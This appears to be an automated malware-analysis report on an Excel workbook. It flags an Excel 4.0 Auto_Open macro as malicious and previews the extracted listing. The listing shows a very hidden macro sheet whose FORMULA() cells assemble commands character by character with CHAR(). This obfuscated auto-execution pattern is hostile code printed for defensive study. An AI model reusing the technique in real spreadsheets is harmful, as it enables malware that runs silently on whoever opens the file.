MALICIOUS
142
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1203 Exploitation for Client Execution
The file contains Excel 4.0 macros, specifically an Auto_Open entry that utilizes dangerous formula APIs. This indicates an attempt to automatically execute code upon opening the document. The macro sheet is truncated, but the presence of the Auto_Open and dangerous functions strongly suggests it's designed to download and execute a second-stage payload. No specific family could be identified.
Heuristics 4
-
Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAMEoletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
-
XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FNExcel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
-
Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPENWorkbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
- http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
- http://purl.org/dc/elements/1.1/In document text (OLE body)
- http://ns.microsoft.com/photo/1.0/In document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
xlm_macros.txt |
xlm-macro | oletools.olevba.extract_all_macros (XLM macro listing) | 43006 bytes |
SHA-256: 9aee7f4c42a184d24f996d6430eef8e7b3d33dcad181bcd6570163abe04ac988 |
|||
Preview scriptFirst 1,000 lines of the extracted script
' 0085 14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible - Sheet ' 0085 18 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, very hidden - TMoupVb8k ' 0018 23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d Sheet!Q1 ' 0018 18 LABEL : Cell Value, String Constant - tgL len=0 ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 00fd 10 LABELSST : Cell Value, String Constant/ SST ' 002a 2 PRINTHEADERS : Print Row/Column Labels ' Sheet,Reference,Formula,Value ' TMoupVb8k,D1,CHAR(61),"" ' TMoupVb8k,M1,CHAR(61),"" ' TMoupVb8k,O1,CHAR(61),"" ' TMoupVb8k,Q1,"FORMULA(A7&A8&A9&A10&A11&A12&A13&A15&A16&A17&A19&A20&A21&A22&A24&A25&A26&A27&A29&A30&A31&A33&A34&A35&A37&A38&A39&A40&A42&A43&A44&A46&A47&A48&A50,R1)","" ' TMoupVb8k,D2,[],"" ' TMoupVb8k,M2,[],"" ' TMoupVb8k,O2,[],"" ' TMoupVb8k,D3,CHAR(67),"" ' TMoupVb8k,M3,CHAR(73),"" ' TMoupVb8k,O3,CHAR(67),"" ' TMoupVb8k,Q3,"FORMULA(B17&B19&B20&B21&B22&B24&B25&B26&B27&B29&B30&B31&B33&B34&B35&B37&B38&B39&B40&B42&B43&B44&B46&B47&B48&B50&B51&B52&B53&B54&B56&B57&B58&B59&B61,R3)","" ' TMoupVb8k,D4,CHAR(65),"" ' TMoupVb8k,M4,CHAR(70),"" ' TMoupVb8k,O4,CHAR(65),"" ' TMoupVb8k,Q4,"FORMULA(C88&C90&C91&C92&C93&C95&C96&C97&C99&C100&C101&C102&C103&C105&C106&C107&C108&C110&C111&C112&C114&C115&C116&C117&C118&C120&C121&C122&C123&C125&C126&C127&C128&C130&C131&C132&C133&C135&C136&C137&C138&C140&C141&C142&C143&C144&C146&C147&C148&C149&C150&C151&C153&C154&C155&C156&C158&C159&C160&C161&C163&C164&C165,R4)","" ' TMoupVb8k,D5,CHAR(76),"" ' TMoupVb8k,L5,CHAR(61),"" ' TMoupVb8k,M5,CHAR(40),"" ' TMoupVb8k,O5,CHAR(76),"" ' TMoupVb8k,Q5,"FORMULA(D1&D3&D4&D5&D7&D8&D9&D10&D11&D12&D13&D15&D16&D17&D19&D20&D21&D22&D24&D25&D26&D27&D29&D30&D31&D33&D34&D35&D37&D38&D39&D40&D42&D43&D44&D46&D47&D48&D50&D51&D52&D53&D54&D56&D57&D58&D59&D61&D62&D63&D64&D66&D67&D68&D69&D71&D72&D73&D74&D76&D77&D78&D80&D81&D82&D83&D85&D86&D87&D88&D90&D91&D92&D93&D95&D96&D97&D99&D100&D101&D102&D103&D105&D106&D107&D108&D110&D111&D112&D114&D115&D116&D117&D118&D120&D121&D122&D123&D125&D126&D127&D128&D130&D131&D132&D133&D135&D136&D137&D138&D140&D141&D142&D143&D144&D146&D147&D148&D149&D150&D151&D153&D154&D155&D156&D158&D159&D160&D161&D163&D164&D165&D166&D168&D169&D170&D172&D173&D174&D175&D176&D177&D178&D179&D180&D181&D182&D183&D184&D185&D186&D187&D188&D189&D190&D191&D192&D193&D194&D195&D196&D197&D198&D199&D200&D201&D202&D203&D204&D205&D206&D207&D208&D209&D210&D211&D212&D213&D214&D215&D216&D217&D218&D219&D220&D221,R5)","" ' TMoupVb8k,D6,[],"" ' TMoupVb8k,L6,[],"" ' TMoupVb8k,M6,[],"" ' TMoupVb8k,O6,[],"" ' TMoupVb8k,A7,CHAR(61),"" ' TMoupVb8k,D7,CHAR(76),"" ' TMoupVb8k,L7,CHAR(67),"" ' TMoupVb8k,M7,CHAR(82),"" ' TMoupVb8k,O7,CHAR(76),"" ' TMoupVb8k,Q7,"FORMULA(E22&E24&E25&E26&E27&E29&E30&E31&E33&E34&E35&E37&E38&E39&E40&E42&E43&E44&E46&E47&E48&E50&E51,R7)","" ' TMoupVb8k,A8,CHAR(73),"" ' TMoupVb8k,D8,CHAR(40),"" ' TMoupVb8k,L8,CHAR(65),"" ' TMoupVb8k,M8,CHAR(91),"" ' TMoupVb8k,O8,CHAR(40),"" ' TMoupVb8k,Q8,"FORMULA(F12&F13&F15&F16&F17&F19&F20&F21&F22&F24&F25&F26&F27&F29&F30&F31&F33&F34&F35&F37&F38&F39&F40&F42&F43&F44&F46&F47&F48&F50&F51,R8)","" ' TMoupVb8k,A9,CHAR(70),"" ' TMoupVb8k,D9,CHAR(34),"" ' TMoupVb8k,L9,CHAR(76),"" ' TMoupVb8k,M9,CHAR(45),"" ' TMoupVb8k,O9,CHAR(34),"" ' TMoupVb8k,Q9,"FORMULA(G10&G11&G12&G13&G15&G16&G17&G19&G20&G21&G22&G24&G25&G26&G27&G29&G30&G31,R9)","" ' TMoupVb8k,A10,CHAR(40),"" ' TMoupVb8k,D10,CHAR(83),"" ' TMoupVb8k,G10,CHAR(61),"" ' TMoupVb8k,L10,CHAR(76),"" ' TMoupVb8k,M10,CHAR(49),"" ' TMoupVb8k,O10,CHAR(83),"" ' TMoupVb8k,Q10,"FORMULA(H12&H13&H15&H16&H17&H19&H20&H21&H22&H24&H25&H26&H27&H29&H30&H31&H33&H34&H35,R10)","" ' TMoupVb8k,A11,CHAR(71),"" ' TMoupVb8k,D11,CHAR(104),"" ' TMoupVb8k,G11,CHAR(70),"" ... (truncated) |
|||
Open this report in the interactive analyzer, or submit your own file for analysis.